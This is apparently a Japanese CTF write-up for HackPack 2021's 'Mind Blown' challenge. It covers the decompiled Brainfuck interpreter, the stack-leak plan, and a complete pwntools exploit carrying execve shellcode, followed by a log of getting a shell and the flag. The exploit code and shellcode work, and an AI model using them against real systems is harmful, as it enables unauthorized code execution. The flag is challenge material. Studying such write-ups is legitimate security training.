もふもふ

くんかくんか

hackpack21

ちょっと前供養2。

Mind Blown

elfを渡される。ソースコードなし。 checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

stackがRWXとなっている。

ghidraに放り投げたらきれいにデコンパイルできた。必要な関数は以下の通り。

int main(int argc,char **argv)

{
  undefined *ret;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  if (argc == 1) {
    readProgramFromStdin();
  }
  else {
    if (argc != 2) {
      printf("Unexpected number of argments: %d\n",argc);
          /* WARNING: Subroutine does not return */
      exit(-1);
    }
    readProgramFromFile(argv[1]);
  }
  runProgram();
  return 0;
}
void readProgramFromStdin(void)

{
  long in_FS_OFFSET;
  int programSize;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Number of characters in your program: ");
  __isoc99_scanf(&DAT_00402073,&programSize);
  fgetc(stdin);
  printf("Program size is: %d\n",(ulong)(uint)programSize);
  if (0x2000000 < programSize) {
    puts("That program is too large!");
    puts("Goodbye...");
          /* WARNING: Subroutine does not return */
    exit(-1);
  }
  puts("Enter your program text below:");
  fread(programText,1,(long)programSize,stdin);
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
          /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}
void runProgram(void)

{
  int64_t iVar1;
  int64_t iVar2;
  char cVar3;
  int iVar4;
  long lVar5;
  long lVar6;
  undefined8 *puVar7;
  long in_FS_OFFSET;
  undefined *local_res0;
  char data [4096];
  long local_18;
  long stack_canary;
  undefined *rbp_cache;
  
  stack_canary = *(long *)(in_FS_OFFSET + 0x28);
  data._0_8_ = 0;
  data._8_8_ = 0;
  lVar5 = 510;
  puVar7 = (undefined8 *)(data + 0x10);
  while (lVar5 != 0) {
    lVar5 = lVar5 + -1;
    *puVar7 = 0;
    puVar7 = puVar7 + 1;
  }
  programCounter = 0;
  cVar3 = programText[0];
  if (programText[0] != '\0') {
    do {
      iVar1 = programCounter;
      if (true) {
        switch(cVar3) {
        case '+':
          data[dataPointer] = data[dataPointer] + '\x01';
          break;
        case ',':
          iVar4 = getc(stdin);
          data[dataPointer] = (char)iVar4;
          break;
        case '-':
          data[dataPointer] = data[dataPointer] + -1;
          break;
        case '.':
          putc((int)data[dataPointer],stdout);
          break;
        case '<':
          if (dataPointer == 0) {
          /* WARNING: Subroutine does not return */
            exit(-1);
          }
          dataPointer = dataPointer + -1;
          break;
        case '>':
          dataPointer = dataPointer + 1;
          break;
        case '[':
          if (data[dataPointer] == '\0') {
            if (validBracketPair[programCounter] == false) {
              if (programText[programCounter + 1] != '\0') {
                cVar3 = programText[programCounter + 1];
                if (cVar3 != '\0') {
                  lVar6 = 1;
                  lVar5 = programCounter;
                  do {
                    programCounter = lVar5 + 1;
                    if (cVar3 == '[') {
                      lVar6 = lVar6 + 1;
                    }
                    else {
                      lVar6 = lVar6 - (ulong)(cVar3 == ']');
                    }
                    cVar3 = programText[lVar5 + 2];
                  } while ((cVar3 != '\0') && (lVar5 = programCounter, lVar6 != 0));
                }
                iVar2 = programCounter;
                bracketPairs[iVar1] = programCounter;
                validBracketPair[iVar1] = true;
                bracketPairs[iVar2] = iVar1;
                validBracketPair[iVar2] = true;
              }
            }
            else {
              programCounter = bracketPairs[programCounter];
            }
          }
          break;
        case ']':
          if (data[dataPointer] != '\0') {
            if (validBracketPair[programCounter] == false) {
              if (programCounter != 0) {
                if (0 < programCounter) {
                  lVar6 = 1;
                  lVar5 = programCounter;
                  do {
                    programCounter = lVar5 + -1;
                    if ((&DAT_124040bf)[lVar5] == ']') {
                      lVar6 = lVar6 + 1;
                    }
                    else {
                      lVar6 = lVar6 - (ulong)((&DAT_124040bf)[lVar5] == '[');
                    }
                  } while ((lVar6 != 0) && (lVar5 = programCounter, 0 < programCounter));
                }
                iVar2 = programCounter;
                bracketPairs[iVar1] = programCounter;
                validBracketPair[iVar1] = true;
                bracketPairs[iVar2] = iVar1;
                validBracketPair[iVar2] = true;
              }
            }
            else {
              programCounter = bracketPairs[programCounter];
            }
          }
        }
      }
      lVar5 = programCounter + 1;
      lVar6 = programCounter + 1;
      programCounter = lVar5;
      cVar3 = programText[lVar6];
    } while (programText[lVar6] != '\0');
  }
  if (stack_canary != *(long *)(in_FS_OFFSET + 0x28)) {
          /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

pwnable.krで見かけたようなstack上でbrainfuckするプログラム。 ポインターの位置を動かしていって、

  1. 退避されたrbpを読み取る。

  2. rbpから計算してreturnアドレスをstack上に書き換える。

  3. stack上にシェルコードを置く(RWXなので)

以下ソルバ

import pwn


io = pwn.process('mind-blown')
#io = pwn.connect("ctf2021.hackpack.club", 10996)
shell_code = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'

ret_offset = 0x1018
rbp_offset = 0x1018 - 0x8

payload = b''
payload += b'>' * rbp_offset  # move pointer to rbp_cache
payload += b'.>' * 8  # read rbp
payload += b',>' * 8  # write ret address
payload += b',>' * len(shell_code) # write shellcode

print(io.recvuntil('in your program: '))
io.sendline(str(len(payload)))
print(io.recvuntil('text below:\n'))
io.send(payload)
stack_addr = io.read(8)
ret_addr = pwn.u64(stack_addr) - 0x10
io.send(pwn.p64(ret_addr))
io.send(shell_code)

io.interactive()
test@test-Standard-PC-i440FX-PIIX-1996:~/hackpack21/mind_blown$ python3 solv_smart.py 
[+] Opening connection to ctf2021.hackpack.club on port 10996: Done
b'Number of characters in your program: '
b'Program size is: 4198\nEnter your program text below:\n'
[*] Switching to interactive mode
$ whoami
ctf
$ ls
flag
mind-blown
$ cat flag
flag{y0u_jusT_bl3w_mY_m1Nd!}
$ 
[*] Closed connection to ctf2021.hackpack.club port 10996